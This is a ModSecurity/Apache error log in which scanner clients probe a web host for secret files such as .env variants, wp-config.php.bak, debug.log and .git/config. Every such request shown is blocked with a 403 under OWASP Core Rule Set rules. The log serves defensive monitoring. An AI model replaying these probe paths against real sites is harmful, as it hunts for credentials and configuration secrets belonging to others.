[Tue Oct 27 04:18:10.163023 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auBeQjs6QI_2LyqMu-svVQAAABA"]
[Tue Oct 27 04:18:10.163268 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/public/.env"] [unique_id "auBeQjs6QI_2LyqMu-svVQAAABA"]
[Tue Oct 27 04:18:10.177750 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auBeQjACgwKulg8gg2NrrAAAAAg"]
[Tue Oct 27 04:18:10.177913 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auBeQjACgwKulg8gg2NrrAAAAAg"]
[Tue Oct 27 04:18:10.178140 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "auBeQjACgwKulg8gg2NrrAAAAAg"]
[Tue Oct 27 04:18:10.180157 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.156.22.151:39078] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auBeQvBpQA4DT21g-rgTWQAAAAY"]
[Tue Oct 27 04:18:10.180284 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.156.22.151:39078] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auBeQvBpQA4DT21g-rgTWQAAAAY"]
[Tue Oct 27 04:18:10.180509 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.156.22.151:39078] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/src/.env"] [unique_id "auBeQvBpQA4DT21g-rgTWQAAAAY"]
[Tue Oct 27 04:18:10.188993 2026] [security2:error] [pid 3201612:tid 3201612] [client 34.156.22.151:39076] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auBeQiAYxa8o1W2Vba2wqgAAAAA"]
[Tue Oct 27 04:18:10.189170 2026] [security2:error] [pid 3201612:tid 3201612] [client 34.156.22.151:39076] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auBeQiAYxa8o1W2Vba2wqgAAAAA"]
[Tue Oct 27 04:18:10.189403 2026] [security2:error] [pid 3201612:tid 3201612] [client 34.156.22.151:39076] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "auBeQiAYxa8o1W2Vba2wqgAAAAA"]
[Tue Oct 27 04:18:10.236350 2026] [security2:error] [pid 3184472:tid 3184472] [client 34.156.22.151:38998] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auBeQioaxgN9H0AE4f1vLAAAAAM"]
[Tue Oct 27 04:18:10.236557 2026] [security2:error] [pid 3184472:tid 3184472] [client 34.156.22.151:38998] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auBeQioaxgN9H0AE4f1vLAAAAAM"]
[Tue Oct 27 04:18:10.236872 2026] [security2:error] [pid 3184472:tid 3184472] [client 34.156.22.151:38998] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/test/.env"] [unique_id "auBeQioaxgN9H0AE4f1vLAAAAAM"]
[Tue Oct 27 04:18:10.238914 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auBeQjs6QI_2LyqMu-svVgAAABA"]
[Tue Oct 27 04:18:10.239062 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auBeQjs6QI_2LyqMu-svVgAAABA"]
[Tue Oct 27 04:18:10.239327 2026] [security2:error] [pid 3194344:tid 3194344] [client 34.156.22.151:39008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "auBeQjs6QI_2LyqMu-svVgAAABA"]
[Tue Oct 27 04:18:10.241098 2026] [security2:error] [pid 3194351:tid 3194351] [client 34.156.22.151:39042] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auBeQs-M-kXjH-VclWYJXwAAABg"]
[Tue Oct 27 04:18:10.241251 2026] [security2:error] [pid 3194351:tid 3194351] [client 34.156.22.151:39042] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auBeQs-M-kXjH-VclWYJXwAAABg"]
[Tue Oct 27 04:18:10.241504 2026] [security2:error] [pid 3194351:tid 3194351] [client 34.156.22.151:39042] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "auBeQs-M-kXjH-VclWYJXwAAABg"]
[Tue Oct 27 04:18:10.248454 2026] [security2:error] [pid 3184575:tid 3184575] [client 34.156.22.151:39018] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auBeQnCsn1NVv0VfikkGdAAAAAQ"]
[Tue Oct 27 04:18:10.248663 2026] [security2:error] [pid 3184575:tid 3184575] [client 34.156.22.151:39018] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auBeQnCsn1NVv0VfikkGdAAAAAQ"]
[Tue Oct 27 04:18:10.248872 2026] [security2:error] [pid 3184575:tid 3184575] [client 34.156.22.151:39018] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/web/.env"] [unique_id "auBeQnCsn1NVv0VfikkGdAAAAAQ"]
[Tue Oct 27 04:18:10.253953 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "recursos1.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auBeQjACgwKulg8gg2NrrQAAAAg"]
[Tue Oct 27 04:18:10.254181 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auBeQjACgwKulg8gg2NrrQAAAAg"]
[Tue Oct 27 04:18:10.254419 2026] [security2:error] [pid 3194327:tid 3194327] [client 34.156.22.151:39044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/wp-content/debug.log"] [unique_id "auBeQjACgwKulg8gg2NrrQAAAAg"]
[Tue Oct 27 04:18:10.272517 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos1.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auBeQkQFomyjz0g-y4eN9gAAAAo"]
[Tue Oct 27 04:18:10.272699 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos1.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auBeQkQFomyjz0g-y4eN9gAAAAo"]
[Tue Oct 27 04:18:10.272978 2026] [security2:error] [pid 3175284:tid 3175284] [client 34.156.22.151:39056] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos1.sherwinpinturas.com"] [uri "/wp-config.php.bak"] [unique_id "auBeQkQFomyjz0g-y4eN9gAAAAo"]
[Tue Oct 27 04:18:12.711592 2026] [ssl:error] [pid 3201649:tid 3201649] (70014)End of file found: [client 3.221.156.96:17261] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:18:27.893661 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 23.21.148.226:37755] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:18:35.872524 2026] [ssl:error] [pid 3201654:tid 3201654] (70014)End of file found: [client 3.225.45.252:12236] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:18:43.781545 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 34.239.197.197:16207] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:18:52.149684 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 34.206.249.188:4783] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:18:58.023655 2026] [security2:error] [pid 3194344:tid 3194344] [client 45.148.10.5:9718] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/api/.env"] [unique_id "auBecjs6QI_2LyqMu-svWAAAABA"]
[Tue Oct 27 04:18:58.023916 2026] [security2:error] [pid 3194344:tid 3194344] [client 45.148.10.5:9718] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/api/.env"] [unique_id "auBecjs6QI_2LyqMu-svWAAAABA"]
[Tue Oct 27 04:18:58.042787 2026] [security2:error] [pid 3194344:tid 3194344] [client 45.148.10.5:9718] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBecjs6QI_2LyqMu-svWAAAABA"]
[Tue Oct 27 04:18:58.200289 2026] [security2:error] [pid 3184575:tid 3184575] [client 45.148.10.5:9724] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.uat"] [unique_id "auBecnCsn1NVv0VfikkGdgAAAAQ"]
[Tue Oct 27 04:18:58.200606 2026] [security2:error] [pid 3184575:tid 3184575] [client 45.148.10.5:9724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.uat"] [unique_id "auBecnCsn1NVv0VfikkGdgAAAAQ"]
[Tue Oct 27 04:18:58.201527 2026] [security2:error] [pid 3184575:tid 3184575] [client 45.148.10.5:9724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBecnCsn1NVv0VfikkGdgAAAAQ"]
[Tue Oct 27 04:18:58.359378 2026] [security2:error] [pid 3194327:tid 3194327] [client 45.148.10.5:9738] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /cms/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/cms/.git/config"] [unique_id "auBecjACgwKulg8gg2NrrwAAAAg"]
[Tue Oct 27 04:18:58.359667 2026] [security2:error] [pid 3194327:tid 3194327] [client 45.148.10.5:9738] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/cms/.git/config"] [unique_id "auBecjACgwKulg8gg2NrrwAAAAg"]
[Tue Oct 27 04:18:58.360579 2026] [security2:error] [pid 3194327:tid 3194327] [client 45.148.10.5:9738] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auBecjACgwKulg8gg2NrrwAAAAg"]
